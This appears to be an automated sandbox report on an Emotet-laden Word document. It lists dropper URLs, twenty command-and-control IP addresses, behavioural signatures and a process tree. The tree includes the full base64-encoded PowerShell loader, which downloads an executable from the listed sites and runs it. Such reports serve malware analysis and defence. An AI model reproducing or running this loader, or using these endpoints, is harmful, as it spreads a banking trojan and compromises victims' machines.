Analysis
- max time kernel
139s - max time network
149s - platform
windows10_x64 - resource
win10 - submitted
26/10/2020, 19:23
General
- Target emotet_e2_116159cae06790df3ca134b52e8a6ea44db0737400131f10067ed11842bedf92_2020-10-26__191910288437._fpx.doc
- Size 178KB
- Sample201026-kf3n62cpee
- SHA256 116159cae06790df3ca134b52e8a6ea44db0737400131f10067ed11842bedf92
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://360digest.beyondb-school.com/wp-content/07A/
-
exe.dropper
https://nhatcuong.xyz/wp-content/Szx94QD/
-
exe.dropper
https://braceyourself.us/wp-admin/J/
-
exe.dropper
https://carl99a.com/cgi-bin/P1IwSg/
-
exe.dropper
https://seitaiken.net/wp-admin/Qz9B/
-
exe.dropper
https://arpe-samois.fr/wp-content/eQCw/
-
exe.dropper
https://fitthemes.com/wordpress-5.3.2/O/
-
exe.dropper
https://nakanoyoi5.com/wp-admin/GfPlB/
Extracted
Family
-
emotet
Botnet
-
Epoch2
C2
-
67.163.161.107:80
-
107.170.146.252:8080
-
173.212.214.235:7080
-
167.114.153.111:8080
-
185.94.252.104:443
-
110.142.236.207:80
-
194.187.133.160:443
-
218.147.193.146:80
-
172.104.97.173:8080
-
216.139.123.119:80
-
50.91.114.38:80
-
202.134.4.211:8080
-
113.61.66.94:80
-
139.99.158.11:443
-
62.171.142.179:8080
-
37.139.21.175:8080
-
190.108.228.27:443
-
94.23.237.171:443
-
154.91.33.137:443
-
201.241.127.190:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_116159cae06790df3ca134b52e8a6ea44db0737400131f10067ed11842bedf92_2020-10-26__191910288437._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IABTAHYAIAAgAFIAeQBCACAAIAAoACAAWwB0AFkAcABlAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIAIAAtAGYAIAAnAHIARQBjAFQAbwByACcALAAnAHMAeQBzAFQARQBtAC4AaQBPAC4AJwAsACcAZABJACcALAAnAHkAJwApACAAKQA7ACQAaABxAFQAaQAgAD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADYAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADUAfQAiAC0AZgAgACcAbQBBAE4AJwAsACcAUwB5ACcALAAnAE4AdAAnACwAJwBzAHQAJwAsACcAQwBFAFAAbwBpACcALAAnAEEARwBlAHIAJwAsACcAUgB2AGkAJwAsACcAZQBtAC4ATgBFACcALAAnAFQALgBTAEUAJwApACAAIAA7ACQAQgBmAHIAawBkAGEANAA9ACgAJwBTAGQAJwArACgAJwBpAHYAJwArACcAOAB3ACcAKQArACcAOQAnACkAOwAkAFYAdABxAHkAOQBuADgAPQAkAEoAbAAxAHoAYgByADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAZgA5AGoAbAB0ADcAOwAkAFEAcQB2ADMANwB3AHoAPQAoACgAJwBNAGgAJwArACcAcgAnACkAKwAoACcAegAnACsAJwB6AHQAJwApACsAJwByACcAKQA7ACAAJABSAHkAQgA6ADoAIgBjAHIAYABFAEEAVABFAGQASQBgAFIARQBjAHQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBaAGoAYwBnADQAOABkAHsAMAB9ACcAKwAoACcASAAnACsAJwBuAGQAbAAnACkAKwAnAHYAOQAnACsAJwA4ACcAKwAnAHsAJwArACcAMAB9ACcAKQAgAC0AZgAgAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAEwAbAA5AGoAaQBoADAAPQAoACcARwBsACcAKwAoACcAeAA5AGQAJwArACcAdQB1ACcAKQApADsAIAAoACAAZwBjAGkAIAAgACgAIgBWAEEAcgBpAGEAIgArACIAQgAiACsAIgBMAEUAOgBIAHEAVABpACIAKQAgACAAKQAuAHYAQQBsAHUARQA6ADoAIgBzAGAARQBjAHUAcgBJAGAAVABgAFkAcABgAFIATwB0AE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEYAbQAwAHEAYQBmADkAPQAoACgAJwBRADIAJwArACcAaQAnACkAKwAnADYAXwAnACsAJwBoAHMAJwApADsAJABEAGsAYwB6ADAAZQB4ACAAPQAgACgAJwBSACcAKwAoACcAaQA0ACcAKwAnAGEAdgAnACkAKwAnAHcAJwApADsAJABMAHMAXwB0AHUAXwAyAD0AKAAoACcAWAAnACsAJwB5AGsAcwAnACkAKwAoACcAbQAnACsAJwB2AGEAJwApACkAOwAkAEgAbgBnAHgAcwBfAGUAPQAoACgAJwBCADUAJwArACcAcwBqACcAKQArACgAJwA3ACcAKwAnADIAdQAnACkAKQA7ACQARwB0AHQAYgBlAG4AagA9ACQASABPAE0ARQArACgAKAAoACcAWQB4ACcAKwAnAHQAJwApACsAKAAnAFoAagAnACsAJwBjACcAKQArACgAJwBnADQAOABkAFkAeAB0AEgAJwArACcAbgBkAGwAdgAnACsAJwA5ACcAKQArACcAOAAnACsAJwBZACcAKwAnAHgAdAAnACkAIAAgAC0AQwBSAGUAcABsAEEAYwBlACAAIAAoAFsAYwBoAEEAUgBdADgAOQArAFsAYwBoAEEAUgBdADEAMgAwACsAWwBjAGgAQQBSAF0AMQAxADYAKQAsAFsAYwBoAEEAUgBdADkAMgApACsAJABEAGsAYwB6ADAAZQB4ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUAAxAHQAOQBiAHgAbgA9ACgAJwBYADcAJwArACgAJwBsAGcAMQAnACsAJwAxAGYAJwApACkAOwAkAEkAaAB6AG0AMQBsADAAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAYwBsAEkARQBOAFQAOwAkAFMAdQBpAGoAdwB4AHgAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcABzACcAKwAnADoAJwApACsAJwBbACcAKwAnACAAdwAnACsAJwBlACAAJwArACcAXQAnACsAKAAnAFsAJwArACcAIAB3ACcAKQArACgAJwBlACAAXQAzACcAKwAnADYAMABkAGkAJwArACcAZwAnACsAJwBlAHMAdAAnACkAKwAnAC4AJwArACcAYgAnACsAKAAnAGUAeQAnACsAJwBvAG4AZAAnACkAKwAoACcAYgAnACsAJwAtAHMAJwApACsAJwBjAGgAJwArACgAJwBvAG8AbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQBbACcAKwAnACAAdwBlACcAKQArACgAJwAgACcAKwAnAF0AdwAnACsAJwBwAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuACcAKQArACgAJwB0ACcAKwAnAFsAIAAnACkAKwAoACcAdwBlACAAJwArACcAXQAwADcAJwApACsAJwBBACcAKwAnAFsAIAAnACsAKAAnAHcAZQAnACsAJwAgACcAKQArACgAJwBdACcAKwAnAEAAaAB0AHQAcAAnACkAKwAoACcAcwA6ACcAKwAnAFsAJwApACsAKAAnACAAdwAnACsAJwBlACAAXQAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgACcAKwAnAF0AbgBoAGEAdAAnACsAJwBjAHUAJwApACsAKAAnAG8AbgBnAC4AJwArACcAeAB5AHoAJwArACcAWwAgAHcAJwApACsAKAAnAGUAJwArACcAIABdACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAnAGMAbwAnACsAKAAnAG4AdABlAG4AdABbACAAdwAnACsAJwBlACcAKwAnACAAXQBTAHoAeAAnACkAKwAoACcAOQA0AFEARABbACcAKwAnACAAdwBlACcAKwAnACAAJwApACsAKAAnAF0AQAAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACcAOgBbACcAKwAoACcAIAB3AGUAJwArACcAIAAnACkAKwAoACcAXQBbACcAKwAnACAAdwAnACkAKwAnAGUAJwArACcAIAAnACsAKAAnAF0AJwArACcAYgByACcAKQArACgAJwBhAGMAZQB5ACcAKwAnAG8AdQByACcAKwAnAHMAZQBsACcAKwAnAGYALgAnACsAJwB1AHMAWwAnACkAKwAoACcAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAoACcAXQAnACsAJwB3AHAAJwApACsAJwAtACcAKwAoACcAYQAnACsAJwBkAG0AaQAnACkAKwAoACcAbgBbACAAdwBlACAAJwArACcAXQBKAFsAJwArACcAIAAnACkAKwAoACcAdwBlACcAKwAnACAAJwApACsAKAAnAF0AQAAnACsAJwBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzADoAWwAnACsAJwAgAHcAJwApACsAJwBlACAAJwArACgAJwBdAFsAIAAnACsAJwB3ACcAKQArACgAJwBlACAAJwArACcAXQBjACcAKQArACcAYQByACcAKwAnAGwAJwArACcAOQAnACsAJwA5AGEAJwArACgAJwAuAGMAbwAnACsAJwBtAFsAJwApACsAKAAnACAAJwArACcAdwBlACAAJwArACcAXQBjAGcAaQAtACcAKwAnAGIAaQBuAFsAIAB3ACcAKQArACgAJwBlACAAXQAnACsAJwBQADEASQB3ACcAKQArACgAJwBTAGcAWwAnACsAJwAgACcAKwAnAHcAZQAnACsAJwAgACcAKwAnAF0AQABoAHQAdABwACcAKQArACcAcwAnACsAKAAnADoAWwAnACsAJwAgAHcAJwApACsAJwBlACAAJwArACgAJwBdAFsAJwArACcAIAAnACkAKwAnAHcAJwArACcAZQAnACsAKAAnACAAJwArACcAXQBzACcAKwAnAGUAaQB0AGEAJwApACsAJwBpAGsAJwArACcAZQBuACcAKwAnAC4AbgAnACsAJwBlACcAKwAnAHQAJwArACgAJwBbACcAKwAnACAAdwAnACkAKwAoACcAZQAgAF0AJwArACcAdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AaQAnACsAJwBuACcAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgAF0AJwArACcAUQB6ADkAQgBbACcAKQArACcAIAB3ACcAKwAnAGUAIAAnACsAKAAnAF0AQAAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcABzACcAKQArACcAOgBbACcAKwAnACAAJwArACcAdwAnACsAJwBlACcAKwAoACcAIAAnACsAJwBdAFsAIAB3ACcAKQArACcAZQAgACcAKwAoACcAXQBhACcAKwAnAHIAcABlAC0AJwApACsAJwBzAGEAJwArACgAJwBtAG8AaQAnACsAJwBzACcAKQArACcALgAnACsAJwBmACcAKwAoACcAcgBbACAAJwArACcAdwAnACkAKwAnAGUAIAAnACsAJwBdACcAKwAoACcAdwBwAC0AJwArACcAYwBvACcAKQArACcAbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAWwAnACkAKwAnACAAdwAnACsAJwBlACAAJwArACcAXQBlACcAKwAoACcAUQAnACsAJwBDAHcAWwAgACcAKwAnAHcAZQAgAF0AJwApACsAKAAnAEAAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AFsAJwArACcAIAAnACkAKwAoACcAdwAnACsAJwBlACcAKwAnACAAXQBbACAAJwApACsAKAAnAHcAZQAnACsAJwAgAF0AJwApACsAJwBmACcAKwAoACcAaQAnACsAJwB0AHQAJwApACsAKAAnAGgAZQBtACcAKwAnAGUAcwAnACsAJwAuAGMAbwBtACcAKQArACcAWwAnACsAJwAgACcAKwAoACcAdwBlACcAKwAnACAAXQAnACkAKwAnAHcAbwAnACsAKAAnAHIAZABwACcAKwAnAHIAZQAnACkAKwAoACcAcwBzAC0AJwArACcANQAnACsAJwAuADMALgAnACkAKwAoACcAMgAnACsAJwBbACAAdwAnACkAKwAoACcAZQAgAF0ATwAnACsAJwBbACcAKQArACcAIAAnACsAJwB3ACcAKwAnAGUAIAAnACsAJwBdAEAAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwArACgAJwBbACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AJwArACcAWwAnACsAJwAgAHcAZQAnACkAKwAnACAAJwArACcAXQAnACsAKAAnAG4AJwArACcAYQBrAGEAJwApACsAKAAnAG4AbwAnACsAJwB5ACcAKQArACcAbwBpACcAKwAnADUAJwArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQBbACcAKwAnACAAJwApACsAKAAnAHcAJwArACcAZQAgAF0AJwApACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtACcAKQArACcAaQBuACcAKwAnAFsAJwArACgAJwAgAHcAZQAgAF0ARwBmAFAAJwArACcAbAAnACsAJwBCAFsAJwApACsAJwAgACcAKwAnAHcAJwArACgAJwBlACAAJwArACcAXQAnACkAKQAuACIAUgBgAEUAcABgAEwAQQBjAEUAIgAoACgAKAAnAFsAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAnAF0AJwApACwAJwAvACcAKQAuACIAcwBwAGAATABpAFQAIgAoACQAUQB1AHMAeABwAF8AZgAgACsAIAAkAFYAdABxAHkAOQBuADgAIAArACAAJABKAG4AcgAyAHMAcgBfACkAOwAkAEMAegA4AHgAYgBjAHgAPQAoACcAWgAnACsAKAAnAG8AMgAnACsAJwB3ACcAKQArACgAJwB5ADkAJwArACcAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAAxADYAdgBiAHYAaQAgAGkAbgAgACQAUwB1AGkAagB3AHgAeAApAHsAdAByAHkAewAkAEkAaAB6AG0AMQBsADAALgAiAEQAYABvAHcATgBMAGAATwBBAGQAZgBgAEkATABlACIAKAAkAEQAMQA2AHYAYgB2AGkALAAgACQARwB0AHQAYgBlAG4AagApADsAJABSADkAdwBsAGkAOABoAD0AKAAoACcATwAnACsAJwBjAHYAJwApACsAKAAnAHkAZwAnACsAJwB4ACcAKQArACcAawAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwB0AHQAYgBlAG4AagApAC4AIgBMAGAAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADQAOAA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAJwArACcAbgAzACcAKwAnADIAXwBQAHIAbwAnACsAJwBjAGUAJwApACsAJwBzACcAKwAnAHMAJwApACkALgAiAEMAcgBlAGAAQQB0AEUAIgAoACQARwB0AHQAYgBlAG4AagApADsAJABFAGQAYQA0AHQAdAB2AD0AKAAnAFcAJwArACgAJwB5ACcAKwAnAGEAJwArACcAaQB1ADQAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQARABjAHYANgB6ADgAaAA9ACgAJwBIACcAKwAnAGMAMAAnACsAKAAnAHMAJwArACcAMAByAG0AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAegByADYANwB1AGYAPQAoACcAQgAnACsAKAAnAG4AbgAnACsAJwBqAGcAbgBhACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Zjcg48d\Hndlv98\Ri4avw.exeC:\Users\Admin\Zjcg48d\Hndlv98\Ri4avw.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\KBDOLCH\olecli32.exe"C:\Windows\SysWOW64\KBDOLCH\olecli32.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/768-5-0x000002333181D000-0x0000023331824000-memory.dmp
memory/768-0-0x00007FFAD1100000-0x00007FFAD1737000-memory.dmp
memory/1472-17-0x00000000004C0000-0x00000000004E0000-memory.dmp
memory/1472-18-0x00000000004E0000-0x00000000004FE000-memory.dmp
memory/2620-10-0x000002ED54D10000-0x000002ED54D11000-memory.dmp
memory/2620-9-0x000002ED3C8A0000-0x000002ED3C8A1000-memory.dmp
memory/2620-8-0x00007FFAC9B50000-0x00007FFACA53C000-memory.dmp
memory/3520-13-0x0000000000580000-0x00000000005A0000-memory.dmp
memory/3520-14-0x00000000005A0000-0x00000000005BE000-memory.dmp